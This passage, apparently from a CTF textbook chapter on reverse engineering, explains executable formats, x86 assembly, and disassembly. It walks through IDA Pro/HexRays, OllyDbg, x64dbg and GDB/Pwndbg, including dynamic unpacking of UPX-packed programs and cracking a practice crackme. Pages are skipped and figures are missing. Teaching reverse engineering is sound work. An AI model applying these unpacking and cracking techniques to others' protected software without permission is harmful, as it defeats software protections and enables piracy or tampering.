<2> The compiler parses the input and generates the assembly code for source code.
<3> The assembler receives the assembly code generated by the compiler and
assemble it to machine code. Then temporarily storing the machine code in each
object file.
<4> Now several object files have been generated, but the goal is to generate a
single executable file. The linker is involved, connected the scattered object files
with each other into a complete program. Then the executable file format is filled
with various parameters that specify the environment the program will run.
Finally, we get a complete executable file.
In the actual environment, we have to consider the size of the generated executable
file, the performance of the executable file, the protection of information and so
on. Some information is lost during the process. For example, comments in the
source code are usually discarded during compilation, labels in the assembly code,
and symbolic information such as function names and type names also discarded
during linking.
The reverse requires attacker restores some of the loss information with their
knowledge and experience to achieve the attacker’s goals.
2. Different formats executable files
In practice, due to legacy issues and competition between companies, there are
multiple file formats which generated by each of the steps described above. For
example, Windows use the PE (Portable Executable), while Linux systems use the
ELF (Executable and Linkable Format). Since both executable file formats were
developed from the COFF (Common Object File Format), the various concepts in
the file structure are similar.
The PE file consists of a DOS header, PE file header, section table and section
data, import table (if you need to reference an external dynamically linked library)
and export table (if you can provide your functions to dynamically link to other
programs, which commonly found in DLL files).
The ELF file consists of the ELF header, section data, section table, string
segment, and symbol table.
Sections are logical divisions of parts of a program, usually with specific names,
such as .text or .code for code sections, .data for data sections. At runtime, sections of
5.1 Basics of Reverse Engineering 297
an executable are loaded into various locations in memory, and one or more sections
are mapped to a segment for management and to save overhead. Segmentation is
based on the permissions (read, write, execute) required for this part of the memory.
A Segmentation Fault is caused if an illegal operation is performed in the
corresponding segment, such as a write operation in a segment of code that can
only be read and executed.
The format details of PE and ELF are now fully disclosed, and a large number of
mature tools are available for parsing and modifying them.
After parsing the file, the attacker is confronted with a large piece of machine code,
which is directly generated by the assembly language, so the attacker needs to have a
basic understanding of assembly before reversing.
The following is an introduction to the key concepts of assembly language to
facilitate you quick understanding of assembly language.
1. Registers, Memory, and Addressing
A register is a component of a CPU that is a high-speed storage component with
limited storage capacity that is used to temporarily store instructions, data, and
addresses. A typical IA-32 (Intel Architecture, 32-bit) or x86 architecture processor
contains the following registers that are explicitly visible in the instructions.
• General purpose registers EAX, EBX, ECX, EDX, ESI, EDI.
• Top-of-stack Pointer Register ESP, Bottom-of-stack Pointer Register EBP.
• Instruction counter EIP (holds the address of the next instruction to be executed).
• Segment registers CS, DS, SS, ES, FS, GS.
For the x86-64 architecture, based on these registers, the E prefix is changed to R to
mark 64 bits, and eight general-purpose registers, R8 to R15 are added. In addition,
for the 16-bit case, the E prefix is removed. 16-bit has some restrictions on the use of
registers, which will not be repeated in this book since it is no longer mainstream.
For the general purpose registers, the program can use all of them. The
corresponding mark when using different parts of the registers are shown in
Fig. 5.1, where the naming conventions for splitting R8 to R15 are R8d (low
32 bits), R8w (low 16 bits), and R8b (low 8 bits).
There is also a flag register in the CPU, in which each bit represents the value of a
corresponding flag.There are some commonly used flags:
• AF: Auxiliary Carry Flag, set to 1 when the result is rounded to the third digit.
• PF: Parity flag, set to 1 when the lowest order byte of the result an arithmetic or bit
wise operation has an even or odd number of 1s.
• SF: Sign Flag, set to 1 when the sign is 1, which means it is a negative number.
• ZF: Zero Flag, set to 1 when the result is all zero.
298 5 Reverse Engineering
16 bit
8 bit 8 bit
RAX EAX AX AH AL
RBX EBX BX BH BL
RCX ECX CX CH CL
RDX EDX DX DH DL
RSI ESI
RDI EDI
RSP ESP
RBP EBP
R8̚R15 R8D̚R15D RxxW RxxB
32 bit
64 bit
based on semantics and optimization, for CTF participants, only a little understand-
ing is needed.
2. x86/x64 assembly language
There are two display/writing styles for x86/x64 assembly languages, Intel and
AT&T, and this chapter will use the Intel style.
What is machine code? What is assembly language? Machine code is a binary
instruction executed directly on the CPU, while assembly language is a human
readable form for machine code, and assembly language and machine code are
one-to-one correspondence. The machine code depending on the CPU architecture,
and the most common CPU architectures used in CTF are x86 and x86-64 (x64).
The basic format of the x86/x64 assembly instructions is as follows.
In particular, the existence and form of operands are determined by the type of
opcode. Due to space limitations, it is not possible describe the format and function
of all kinds of instructions in this section. Table 5.2 gives the form, function, and
corresponding high-level language of several common instructions. CTF partici-
pants at the introductory level do not need to know how to write assembly language
300 5 Reverse Engineering
programs fluently; they only need to know the common instructions described below
and be able to read them when they encounter them.
There are many conditional jump instructions in assembly language, and they
jump conditionally depending on the flags. The conditional jump instructions are
often preceded by a cmp instruction for comparison, which sets the flags accordingly
(with the same effect on the flags as a sub instruction).
Table 5.3 gives a list of common conditional jump instructions with the cmp
instruction and the flags they are based on.
3. disassembly
While high-level languages often require complex compilation processes, the assem-
bler simply translates the assembly statements into the corresponding machine code
and places the code directly to each other. Therefore, we can easily translate the
machine code back to the assembly language, and such a process is called
disassembly.
As mentioned in Sect. 5.1.2, the compilation process also suffers from informa-
tion loss. While we can easily parse and restore the contents of a given instruction,
we must know which data is machine code in order to parse it accordingly. The von
Neumann architecture blurs the distinction between code and data, and may jump
tables, constant pool (ARMs), common constants, and even malicious interfering
data in code sections. So, parsing the instructions simply and directly is often got
trouble. We need to know the correct starting position of the instruction (for
example, label, which is a location in the program that can be easily referenced
when jumping, addressing) to guide the disassembly tool to parse the code correctly.
As mentioned earlier, during the assembly process, the label information is lost.
Because the label is used to identify the jump position, it determines where the
5.1 Basics of Reverse Engineering 301
program may be executed, which means the start of the assembly statement. There-
fore, it is crucial to restore the correct label information to restore the program
execution flow.
Despite the loss of information, we can still successfully restore the flow of the
program through several algorithms. Two known algorithms are described below:
the linear scan disassembly algorithm and the recursive descent disassembly
algorithm.
The linear scan disassembly algorithm is simple and brutal, parsing instructions
one by one from the beginning of the code segment until the end. The disadvantage
is that once data is inserted into the code segment, all subsequent disassembly results
are erroneous and useless.
The recursive descent disassembly algorithm is a new algorithm after discovering
the problems with linear scan disassembly algorithms. Instead of simply parsing
instructions and displaying them, it attempts to predict how the program will execute
after each instruction. For example, after a normal instruction executed, the next one
will be executed directly. An unconditional jump instruction will jump immediately
to the target position, a function call instruction will jump out temporarily and then
return to continue execution, a return instruction will terminate the current execution
process, and a conditional jump instruction may jump to two different positions with
different conditions. The algorithm first matches some known patterns to the starting
position, then tracks the execution of the program one by one according to the
execution patterns of the instructions, and finally disassembles the program
completely.
4. invoking conventions
If each developer uses different rules to pass function arguments, the program will
scontain unthinkable errors and the maintenance expense will be extremely high. For
this reason, after the advent of compilers, several conventions have been created for
compilers that specify the parameters to be passed between functions, called call
conventions. The following are some common calling conventions.
(1) Calling conventions for x86 32-bit architecture
• _ _cdecl: arguments are push into the stack from right to left, and the caller is
responsible for cleaning up the pressed arguments and placing the return
value in the EAX when the call is complete. This convention is used by most
C programs on x86 platforms.
• _ _stdcall: arguments are also push into the stack from right to left, and the
called party is responsible for cleaning up the pressed arguments after the call
is made, with the return value also placed in the EAX.
• _ _thiscall: an invocation convention optimized specifically for class methods
that places the “this” pointer to the class method in the ECX register and then
push the rest of the parameters into the stack.
• _ _ _ fastcall: a call convention created to speed up calls by putting the first
argument in ECX, the second in EDX, and then push the subsequent argu-
ments into the stack from right to left.
302 5 Reverse Engineering
Local Variables
Function 3 Back to address
Parameter
Local Variables
Function 2 Back to address
Parameter
Local Variables
Function 1 Back to address
Parameter
push ebp
mov ebp, esp
The stack frame of function consists of four parts: local variables, the value of the
parent stack frame, the return address, and parameters. It can be seen that ebp points
to the storage location of the parent stack frame address after initialization. Thus,
*ebp forms a link table that represents the chain of function calls.
With compilation techniques evolve, compilers can also use esp to reference local
variables by tracing the position of the stack when instruction executing, instead of
using ebp. This saves time to save ebp and increases the number of usable general
purpose registers, which can improve program performance.
There are two types of functions: functions with frame pointers and functions
optimized without frame pointers. Modern analysis tools such as IDA Pro will use
advanced stack pointer tracing methods to analyize both types of functions, so local
variables can be handled correctly.
This section introduces the tools commonly used in software reverse engineering.
1. IDA Pro
IDA (Interactive DisAssembler Pro) is a powerful tool for static analysis and
dynamic debugging executable files. Which including but not limited to x86/x64,
ARM, MIPS, PE, ELF, etc. IDA integrates Hex-Rays, which a powerful decompiler
provides decompilation of pseudo-code from assembly language to C, can greatly
reduce the workload when analyzing programs, and its interface is shown in
Figs. 5.3 and 5.4.
2. OllyDbg and x64dbg
OllyDbg is an excellent debugger for Windows 32-bit environments, and the most
powerful feature is its extensibility. However, OllyDbg is no longer available for
64-bit environments, and many people switched to x64dbg.
The interface between OllyDbg and x64dbg is shown in Figs. 5.5 and 5.6.
3. GNU Binary Utilities
The GNU Binary Utilities (binutils) is a collection of binary file analysis tools
provided by GNU. The tools included are shown in Table 5.4. Figures 5.7 and 5.8
show examples of simple applications of the tools in binutils.
4. GDB
GDB (GNU Debugger) is a GNU command-line debugger with powerful debugging
features and supports source-level debugging for programs with debug symbols. It
also supports extensions written in Python such as gdb-peda, pef and pwndbg.
304 5 Reverse Engineering
Figure 5.9 shows the prompt message when starting GDB and Fig. 5.10 shows the
command line interface when using the gef plugin.
5.2 Static Analysis 305
The most basic method of reverse engineering is static analysis. Which is not
running a binary, but directly analyzing various information such as machine
instructions in a binary. Currently, the most used tool for static analysis is IDA
Pro. This section introduces the general methods of static analysis based on IDA Pro.
you can click the “Previous” button, double-click a list item to quickly open a
previously opened file.
Note that you need to select the correct architecture version (32 bit/64 bit) before
you open the file. You can view the file architecture information through tools such
as “file”, but a more convenient solution is open IDA with any architecture, and then
you will know the file architecture information when you load it, see Fig. 5.12, IDA
shows that this file is an ELF64 file with x86-64 architecture in the "Load a new file"
dialog box.
2. Loading files
The options in the “Load a new file” dialog box are mainly for advanced users,
beginners can use the default settings without changing them, click the “OK” button
to load the file and enter IDA. A dialog box may pop up to select whether to use the
“Proximity Browser”, click the “No” button to enter the normal disassembly inter-
face. IDA will generate a database (IDB) for the file and store the entire file’s
required contents in it at this time, see Fig. 5.13, so access to the input file is no
longer required for future analysis, and all modifications to the database are inde-
pendent of the input file.
310 5 Reverse Engineering
The interface in Fig. 5.13 is divided into several parts, which are described below.
• Navigation bar: shows the distribution of different data types in the program
(common functions, data, undefined, etc.).
• The main disassembly window: It displays the results of disassembly, control
flow diagrams, etc. which can be dragged and selected.
• Function window: Displays all function names and addresse (can be seen by
dragging the scroll bar below), which can be filtered by Ctrl+F.
• Output window: Displays IDA’s logs during running, and you can enter com-
mands in the input box and execute them.
• Status Indicator: If it displays “AU: idle”, which means IDA has completed the
automated analysis of the program.
In the disassembly window, use right-click menu or space to switch between control
flow diagram and text interface disassembly, see Fig. 5.14.
3. Data type manipulation
One of the highlights of IDA is that the user is free to control the disassembly process
through interface interaction. IDA has done its best to automatically define a large
number of locations for user during the process. For example, IDA has correctly
labeled most of the data in code segment as code type and disassembled it and
labeled some of the locations in special segments as 8-byte integer qword. But IDA’s
5.2 Static Analysis 311
Fig. 5.15 Distinguish the data type of a location by the color of the address
capabilities are limited and not all data types can be correctly labeled in general. It
can be corrected by correctly defining the type of a 1-byte or a section of area, which
will have better disassembly experience.
IDA do not have an undo until version 7.3, so you need to be careful before you
operate, and know how to recover these operations.
The user can distinguish the data type of a location by the color of the address. For
locations marked with a code, the address will be shown in black; for locations
marked with data, the address will be shown in gray; and for locations with no data
type defined, the address will be shown in yellow. See Fig. 5.15.
The following section describes some of the shortcut keys which can define data
types. You need to have the focus (cursor) on the corresponding row for them to use
these shortcuts.
• U (Undefine) key: to cancel the existing data type definition in a place, a dialog
box will pop up to confirm, click the “Yes” button.
312 5 Reverse Engineering
• D (Data) key: this marks a location with data type. The data type of the location
will cycle through 1 byte (byte/db), 2 bytes (word/dw), 4 bytes (dword/dd), and
8 bytes (qword/dq) when you press D. If the position and its vicinity are
completely Undefined, the confirmation dialog will not pop up.
• C (Code) key: makes a position with code type. The timing of the confirmation
dialog box is similar to the D key. After defining it as an instruction, IDA will
automatically perform recursive descent disassembly from this position.
The above is a basic shortcut for defining data. To cope with the increasing
complexity of data types, IDA also has built-in data types such as arrays, strings,
and so on.
• A (ASCII) key: A string type ending with “\0” is defined starting at this position,
see Fig. 5.16.
• The * key: defines the position as an array, a dialog box will pop up to set the
properties of the array.
• (Offset) key: This is defined as an address offset, see Fig. 5.17.
4. function operations
In fact, disassembly is not completely continuous, but rather a patchwork of func-
tions that are scattered around. Each function has local variables, call conventions
and other information, and the control flow diagram can only be generated and
displayed in function. So it is also important to define functions correctly.
• Delete Function: Select the function in the function window and press the
Delete key.
• Define function: Select the corresponding line in the disassembly window and
press P.
• Modify function parameters: Select and press Ctrl+E in the function window, or
press Alt+P inside the function in the disassembly window.
After defining a function, IDA can perform many function-level analysis, such as
call convention analysis, stack variable analysis, function call parameter analysis,
etc. These analyses are immensely helpful in restoring the high-level semantics of
disassemblies.
5.2 Static Analysis 313
5. navigation operations
It is possible to switch between functions with mouse click, but as the size of the
program increases, it impractical to use this method to locate it; IDA has a navigation
history function, like Explorer and browser history, which allows you to go back and
forward to a particular view.
• Go back to the previous position: Esc.
• Go to the next position: Ctrl+Enter.
• Jump to a specific location: G, then you can enter the address/already
defined name.
• To jump to a segment: Ctrl+S, then select a segment.
6. type operations
IDA has developed a type analysis system to deal with the various data types
(function declarations, variable declarations, structure declarations, etc.) for C/C+
+, and allows the user to specify them freely. This definitely makes disassembly
more accurate. Press the Y key after selecting a variable or function, the “Please
enter the type declaration” dialog box will pop up, enter the correct C type, and IDA
will parse and apply the type automatically.
7. modes of IDA operation
IDA shortcut keys are designed with a certain pattern, so we can remember these
shortcut keys and make the reverse faster and more handy.
The following are some of the operational patterns and learning techniques that
are summarized in regular practice.
• The various actions in IDA’s disassembly window have different functions when
they are selected and when they are unselected. For example, the actions
corresponding to the C key can specify the scan area for recursive descending
disassembly when the disassembly window is selected.
• Some of the shortcuts in IDA’s disassembly window may have different functions
when used multiple times, for example, the O key will restore the first operation
when used a second time in the same position.
• The IDA’s right-click shortcut menu is labeled with various shortcut keys.
• IDA’s dialog boxes have buttons that can be clicked by pressing their initials
instead of the mouse (e.g., the “Yes” button can be clicked by pressing the Y key
instead of the mouse).
We can learn IDA’s shortcuts quickly by mastering these modes, and most of the
shortcut features do not require control keys (Ctrl, Alt, Shift), which makes IDA’s
operation more convenient.
8. IDAPython
IDAPython is a built-in IDA Python environment that allows you to perform various
database operations through an interface. It can perform most of the C++ functions in
314 5 Reverse Engineering
IDA SDK and all the IDC functions, which can be said to have both the convenience
of IDC and the power of C++ SDK.
Press Alt+F7, or select “File ! Script file” menu, you can execute Python script
file; There is also a Python Console box in the output window, you can temporarily
execute Python statements; press Shift+F2. or select the “File ! Script command”
menu command to open the Scripting panel and change the “Scripting language” to
“Python” to get a simple editor, see Fig. 5.18.
9. other features of IDA
Various types of windows can be opened under “View ! Open subviews” in the
IDA menu bar, see Fig. 5.19.
Strings window: Press Shift+F12 to open it, see Fig. 5.20, it can identify the strings
in the binary, double-click to locate the target string in the disassembly window.
Hexadecimal Window: Opened by default, you can press F2 to modify the data in the
database, then press F2 again to apply the modification.
The basic operations of IDA, described in Sect. 5.2.1, allow IDA to identify data
types and functions in a location correctly. These operations partially restore the
information loss caused by the linker and assembler mentioned in the executable file
(see Sect. 2.4.7). The decompiler presented in this section will attempt to revert the
loss of information caused by the compiler and continue to restore the functions to a
readable form. Thus, getting the decompiler to work correctly requires defining the
data types correctly and identifying the functions correctly.
5.2 Static Analysis 315
This section introduces the world’s most advanced and sophisticated decompiler
available today, the HexRays Decompiler, which runs as a plugin for IDA, was
developed by the same company as IDA. HexRays take full advantage of the
function local variables and data types determined by IDA to generate C-like
pseudo-code after optimization. Users can browse the generated pseudo-code, add
comments, rename the identifiers, modify the variable types, switch the data display
format, and so on.
316 5 Reverse Engineering
1. generate pseudo-code
The challenge for this section is 2-simpleCrackme. To use this plugin, you need to
get it to generate pseudo-code. The operation to generate the pseudo-code is very
simple, just locate the target function in the disassembly window and press F5. When
the plugin finishes running, it will open a window displaying the decompiled
pseudo-code, see Fig. 5.21.
When the cursor moves over an identifier, keyword, or constant, the same content
in other locations is also highlighted for easy viewing and manipulation.
2. Pseudocode composition
The pseudo-code generated by HexRays is structured in such a way: the first line is
the prototype of the function, then the declaration area of the local variables, and
finally the statement of the function.
The upper part of the area is variable declaration. Sometimes the area for larger
functions is too long to read, you can collapse it by clicking “Collapse declaration”.
Note that the comments that follow each local variable represent the location of
the variable. This information will facilitate understanding to the behavior of the
corresponding assembly code.
In addition, most of the variable names in the pseudo-code are automatically
generated and may vary from machine to machine or version to version of IDA.
3. modify identifiers
Looking at the pseudo-code 2-simpleCrackme.c generated by IDA (see Fig. 5.22),
you can see that HexRays is powerful and has automatically named many variables.
However, the names of these variables have no meaning. As the function gets larger,
no meaningful variable names would seriously affect the efficiency of the analysis.
Therefore, HexRays provides users with the ability to change the identifier name:
move the cursor over the identifier and press the N key to bring up the Change Name
dialog box. Then enter a valid name in the input box, and click the OK button. The
modified pseudocode is easier to read and analyze.
Note: IDA generally allows the use of identifiers that conform to C syntax, but
uses certain prefixes as reservations. You should change the name according to the
prompt after being prompted for an error.
4. switch the data display format
After renaming, the 2-simpleCrackme.c pseudo-code has been restored to a similar
state to the source code (see Fig. 5.22). However, many constants are not dispslayed
in the correct format, such as 0x66 in the source code, which becomes the decimal
number 102. The ‘a’ and ‘A’ are converted to their ASCII counterparts 97 and 65.
HexRays is not powerful enough to automatically label these constants, but
HexRays does provide the ability to display constants in various formats. Move
the cursor over a constant, then right-click and choose the corresponding format
from the pop-up shortcut menu, see Fig. 5.23.
5.2 Static Analysis 317
You can force an increase in the length of a variable type (change _m128 to char
[28] as described above) in HexRays, but changing a long variable type to a short
one will often result in the alarm “Sorry, can not change variable type” (For example,
changing the variable char[28] above back to char[27] will result in an error,). So
you need to be careful when lengthening variable types. If you inadvertently modify
322 5 Reverse Engineering
the error, you can delete the function and redefine the function to reset various
information about it.
6. complete the analysis
After fine-tuning the pseudo-code to a level which suitable for your reading, you can
start your analysis. Obviously, this program implements an affine code, and the
method for reversing it is simple enough. You can complete the decryption by
yourself.
The above describes the basic operation of IDA and HexRays, and the following
describes how to deal with some common problems.
1. How to find the main() function
Many executables do not start with the main() function in Windows or Linux. They
may initialized by the CRT (C runtime) and then go to the main() function.
Tips for finding the main() function are as follows.
• The main() function is often in the front of the executable (because many linkers
deal with object files first).
• VC's entry point (IDA's start( ) function) will call the main( ) function directly,
and the function called in the start( ) function has three arguments, and the return
value is passed to the exit( ) function.
• GCC passes the address of the main() function to _ _libc_start_main to call the
main() function, and you can find the address of the main() function by looking at
the parameters of the call.
324 5 Reverse Engineering
you just modified. Change the function prototype of sub_271010 back to the
original, then you can decompile it again.
5.2 Static Analysis 327
Fig. 5.36 The IDA analyzes the offset of the stack of each instruction
Then, the disassembly window will have an extra column next to the address of
each line. The IDA analyzes the offset of the stack of each instruction, see Fig. 5.36.
For programs that do not use dynamic length arrays, the offset of the stack before and
after the call remains the same after initialization is complete.
When you encounter such a problem, you need look at the stack pointers one by
one and compare them with the normal stack pointer change pattern. Then you can
quickly identify the problematic areas and modify them accordingly.
4. Explore other features of IDA
You can learn more about what IDA can do and how to use it, such as going through
IDA’s menus, looking at right-click shortcuts in different places, seeing lists of all
shortcuts displayed in “Options ! Shortcuts,” and so on.
5.3 Dynamic Debugging and Analysis 329
If you have used an IDE debugger, you will know the various operations of
debugging: setting a breakpoint at a point to interrupt the program; then tracing
the program line by line, choosing to enter or skip a function as needed. Looking at
the values of variables while tracing to understand the state of the program, which
makes it easier to find the problem in the program.
The debugging process without the source code is similar to it. It just from source
code level trace to assembly statement level trace. You will look at registers, stacks,
memory instead of variables with known symbolic information.
Both OllyDBG and x64DBG are debuggers for debugging executables in Windows.
x64DBG is a newcomer that supports debugging 32-bit and 64-bit programs. And its
constantly developing and adding new features, while OllyDBG (OD) supports only
32-bit programs and is no longer updated.
OD does not seem to be necessary anymore. But it still has a place due to its early
release and the large number of community-contributed scripts and plug-ins which
implements advanced features such as shelling, anti-debugging, and so on.
x64DBG has a similar interface, functionality and shortcuts to OD, making it
easier to learn. x64DBG has an official website, which can be downloaded directly.
The unofficial modified version of OD is more popular.
1. open the file
After opening the debugger, you can see that the interface of the two debuggers is
almost same. The user can either drag a file into the main interface or open it using
the menu bar.
330 5 Reverse Engineering
The contents of each window will appear when the file is opened. x64DBG has
the same layout as OD. The upper left area is disassembly results, the lower left area
is memory data, the lower right area is stack data, and the upper right area is register.
2. Control program operation
In the disassembly window, press F2 to toggle the breakpoint state of the current
address. Press F8 for single-step passing, F7 for single-step entering, F4 for running
to the cursor position, and F9 for running.
Common breakpoint locations include address within the program and API called
by the program. Moreover, it has ability to interrupt the program while it is operating
on (reading/writing/executing) a specific memory unit. Which using the CPU's built-
in hardware breakpoint mechanism and the exception handling mechanism provided
by Windows. The hardware breakpoints are faster, but the count of hardware
breakpoints is limited. Selecting the destination address in the memory/stack win-
dow, then right-clicks it and selects “Breakpoints ! Hardware Breakpoints” or
“Read/Write ! Select Length” from the pop-up shortcut menu. The operation in
OllyDBG is similar to x64DBG, but it cannot set breakpoints in the stack window.
3. simple unpack
The challenge to this section is 3-UPX. One of the special scenarios for debugging
under Windows is unpack. “Pack” is a special type of program that transforms a
program to regenerate the executable file. It restores all or part of the transformation
results stored in the executable file when running, then resumes execution of the
original program. Packing exists for two reasons: compressed packing is used to
reduce the size of the program, and encrypted packing makes it more difficult for
crackers to reverse the program. Encrypted packing often increases the binary size,
so it needs to combine with compressed packing.
Some packing focus on compress the code to generate smaller executable files,
such as UPX, ASPack, etc. Some packing focus on protection of the code in order to
prevent attackers, such as VMP, ASProtect, etc.
“Unpacking” means recover the packed binary to the original program. Since the
complexity of encryption packing requires a lot of experience to handle, we will not
delve into it.
We will focus on UPX, the most widely used packing in this section. Its a long-
established open-source compression packing that supports a variety of platforms
and architectures.
The two methods for unpacking UPX are as follows.
Static method: UPX provides an unpacker, which can be used with the command
line argument -d. Sometimes it will fails and you need to switch to the correct
UPX version.
Dynamic method: UPX is open-source software that protectors can modify some
identifiers to make the official standard version of UPX fail to unpack. There are
many things can be changed in UPX, people usually use dynamic unpacking if it
has been changed.
5.3 Dynamic Debugging and Analysis 331
Since static unpacking is relatively simple and does not require further explanation.
We will continue with the dynamic unpacking method.
After the executable file is loaded by the operating system, the registers and stack
will store some pre-populated values by the operating system. The pack program
should keep these data (state) to make sure the program can be executed correctly.
Generally, the data ins the stack should not be changed, a simple packing would
choose to push such information into the stack (to alloc a new space on the stack).
x86 assembly instructions pushad can easily push all registers into the stack at once.
After loading, it can be seen that the program starts with a pushad instruction, see
Fig. 5.37. If we set a hardware read breakpoint at the bottom of the stack after the
pushad is executed, the program will be interrupted when it performs a restore
operation using the popad instruction.
So, step over the pushad instruction (by pressing F8), and then set the hardware
read breakpoint. In OllyDBG, just right-click on the register area and select “HW
break [ESP]” in the pop-up shortcut menu. x64DBG can set it by using the right-
click shortcut menu in the stack window.
When the setup is complete, press F9 to run the program.It will be interrupted
again at a different address, see Fig. 5.38.
332 5 Reverse Engineering
In fact, this is a loop that clears the stack space,which is not the actual program
code.But the code followed by a far jump (from 0x43208C to 0x404DDC), which
jump to the original code (pack programs are usually in a different section from the
original program code).
The hardware breakpoint has done its job now, we need to delete it. Select
“Debug ! Hardware Breakpoint” in OD’s menu to list all the hardware breakpoints,
see Fig. 5.39, and delete them.
Move the cursor to the last jmp, press F4 to make the program execute to the
cursor. Then press F8 to execute the jump. See Figs. 5.40 and 5.41, we can observe
the original code at this point.
Select the “Plugins ! OllyDump ! dump the process being debugged” menu
command in OD, and specify the parameters in the pop-up dialog box, see Fig. 5.42.
Click the “Get EIP as OEP” button, then click on the “Dump” button and save to
complete the unpack.
Run the program and find that it can running correctly (see Fig. 5.43). Then we
can use sIDA and find it has been fully restored (see Fig. 5.44).
Note: Except for the last step of using IDA, the rest of the operation should be
done under Windows XP. Here is the reason:
5.3 Dynamic Debugging and Analysis 333
• Windows has ASLR (Address Space Randomization) After Windows XP, the
program needs to be relocated (repair the address reference to the correct location)
every time the program run. It is more difficult to recover the relocation
information.
334 5 Reverse Engineering
• NT kernel began to introduce MinWin after Windows Vista. ssA large number of
api-ms-XXXX DLLs appeared, which led to problems with tools that relied on
NT kernel features, such as OllyDump’s import table search.
• After Windows 10, some APIs have been changed, which cause OllyDump's base
address not being filled correctly.
x64DBG solves all of these problems except relocation, and the corresponding
unpack tool can be opened via “Plugins ! Scylla” menu, see Fig. 5.45.
Click on the “IAT Autosearch” button, then click on the “Get Imports” button.
Press Delete button to delete the one marked with a red “x” in “Imports”. Then click
the “Dump” button to convert the memory to executable. After that, click the “Fix
Dump” button to repair the import table. Finally, we complete the unpack.
The resulting program can be analyzed in IDA, but it cannot be runned because
the relocation info is not fixed. It is not necessary to fix the relocation info. You can
modify the “Characteristics” of Nt Header by using tools such as CFF Explorer,
choosing the “Relocation info stripped from file”, see Fig. 5.46. Which can prevent
relocating the program due to ASLR, so the program can run correctly, see Fig. 5.47.
5.3 Dynamic Debugging and Analysis 335
In Linux, people generally use GDB for debugging. This section briefly describes
the configuration and usage of GDB.
1. GDB environment configuration
The original GDB was hard to use. If you want to view disassembly, memory, stack,
registers, and other information, you had to enter commands manually. Therefore,
various plugins for GDB were created, such as Gef, peda, Pwndbg, etc. This section
introduces Pwndbg, it is an easy and intuitive way to use GDB. Moreover, its can
integration with IDA.
336 5 Reverse Engineering
3. debugging
Unlike graphical tools, GDB’s debugging is completely command-controlled rather
than shortcut-keyed.
(1) Execution
• r (run): Starts the program.
• c (continue): Allows a paused program to continue execution.
• si (step instruction): Execute one machine instruction, then stop and return to
the debugger.
• ni (next instruction): Execute one machine instruction, but if it is a function
call, proceed until the function returns.
• finish: Continue running until just after function in the selected stack frame
returns.
(2) View memory and expressions, etc.
• x/dddFFF: ddd stands for length and FFF stands for format, e.g. “x/10gx”,
you can see http://visualgdb.com/gdbreference/commands/x for a list of
formats.
• p (print): prints the value of an expression, such as “p 1+1”, the p command
can also be followed by the specified format, such as “p/x 111222”.
(3) Breakpoint-related commands
• b (break): b *location, location can be a hexadecimal number, name, etc.,
such as “b *0x8005a0” “b *main”. The “*” means that the breakpoint will set
at the specified address, not the corresponding source line.
• info b or info bl (Pwndbg): lists all breakpoints (each breakpoint has its
own id).
• del (delete): Delete a breakpoint with the specified id, such as “del 1”.
• clear: remove the breakpoint at the specified location, such as “clear *main”.
(4) Modify data
• Modify the register: set $rax ¼ 0x100000.
• Modify memory: set {type of value to assign} address ¼ value, such as “set
{int}0x405000 ¼ 0x12345”.
Note that GDB does not pause the program at the entry point, so the user needs to set
their breakpoints before the program executes. In addition, GDB does not automat-
ically save the user's breakpoint data like OD or x64DBG.It requires the user to set
the breakpoint each time.
In GDB’s command line, type enter directly means repeating the previous
command.
338 5 Reverse Engineering
4. IDA integration
Pwndbg provides IDA integration scripts, just run ida_script.py (can be finded in
Pwndbg) in IDA, IDA will listen to http://127.0.0.1:31337. You can make Pwndbg
links to IDA and uses IDA’s various functions.
Considering that many people use IDA on Windows and use Pwndbg on a Linux
virtual machine. It is better to modify the script to change listening address from
127.0.0.1 to 0.0.0.0 in the script. Then run “config ida-rpc-host “"host IP”” in GDB
and restart GDB to make it works, see Fig. 5.48.
To make the program pause at the start of the main() function, execute the “b
*main” command and then you can run the program with the r command.
When the program is interrupted, Pwndbg will automatically display the current
disassembly, register values, stack contents, and other program states. When IDA
integration is enabled, it will display the corresponding disassembled pseudocode,
highlight and locate the corresponding address in IDA, see Fig. 5.49.
In addition, you can use the $ida(“xxx”) command in GDB to obtain the address
by symbol in IDA. The address will be automatically relocated to the correct offset.
For example, the address of the main shown in Fig. 5.50 is 0x7aa in IDA, but the
acquired address is relocated to 0x55555547aa.
The tools mentioned above are limited to one platform, and each has its own set of
user interacting methods. This undoubtedly increases the learning cost. Also, their
code analysis capabilities are much weaker than IDA. Is there a tool that can use the
5.3 Dynamic Debugging and Analysis 339
powerful analysis capabilities of IDA and HexRays, but can also debug Windows,
Linux, and even embedded and Android platforms?
The answer is YES. IDA has had a built-in debugger from early on, which
cleverly utilizes a modular design that separates the frontend and backend, allowing
the use of existing debugging tools such as WinDbg, GDB, QEMU, Bochs, etc. IDA
itself also offers dedicated remote debugging backends for different platforms.
As it evolves, HexRays also adds debugging features that allow you to debug
decompiled pseudo-code and view variables, just like you are debugging at the
source code level.
340 5 Reverse Engineering
confirmation, see Fig. 5.53. The “Debugger ! Process options” menu can also
open this setup window.
After setting up, click “OK”, IDA will try to start debugging the program again. If
you no longer want to debug, click "Cancel".
IDA does not automatically set a breakpoint at the program’s entry point. Users
need to manually set the breakpoint in advance.
Note that IDA 7.0’s 32-bit local debugging seems to have a known bug that
triggers Internal Error 1491. If you need to debug a 32-bit Windows program, you
can use IDA 6.8 or other versions.
3. Setting breakpoints
IDA’s breakpoints can be set with the shortcut key F2, or by clicking on the small
blue dot on the left side of the graphical interface. After setting breakpoints, the
background color of the corresponding line will be red to highlight it.
At the same time, IDA supports debugging with decompiled pseudocode and also
supports breakpoints on decompiled pseudocode lines. There are blue dots to the left
of the line number in the pseudo-code window. These dots have the same function as
the blue dots on the left of the disassembly window, which are used to switch the
state of breakpoints. By clicking these blue dots, the corresponding line of the
pseudo-code will be changed to a red background, similar to the breakpoints in the
disassembly window.
For 4-debugme, set a breakpoint on the main function, see Fig. 5.54, and then run
the program to debug the pseudocode. After running, the program will automatically
break and open the pseudocode window. If the pseudocode window is not opened,
click the button on the menu bar to switch to the pseudocode window. In the pseudo-
code window, the line of code to be executed will be highlighted, see Fig. 5.55.
342 5 Reverse Engineering
4. View Variables
When the program is suspended (e.g. a breakpoint is triggered), select the “Debugger
! Debugger windows ! Locals” menu to open a window for viewing local vari-
ables, see Fig. 5.56.
By default, the Locals window is displayed with the pseudocode window, see
Fig. 5.57, and can be dragged to the side to be viewed side-by-side with the
pseudocode, see Fig. 5.58.
Single-step the program to pass scanf and you will see that the program enters a
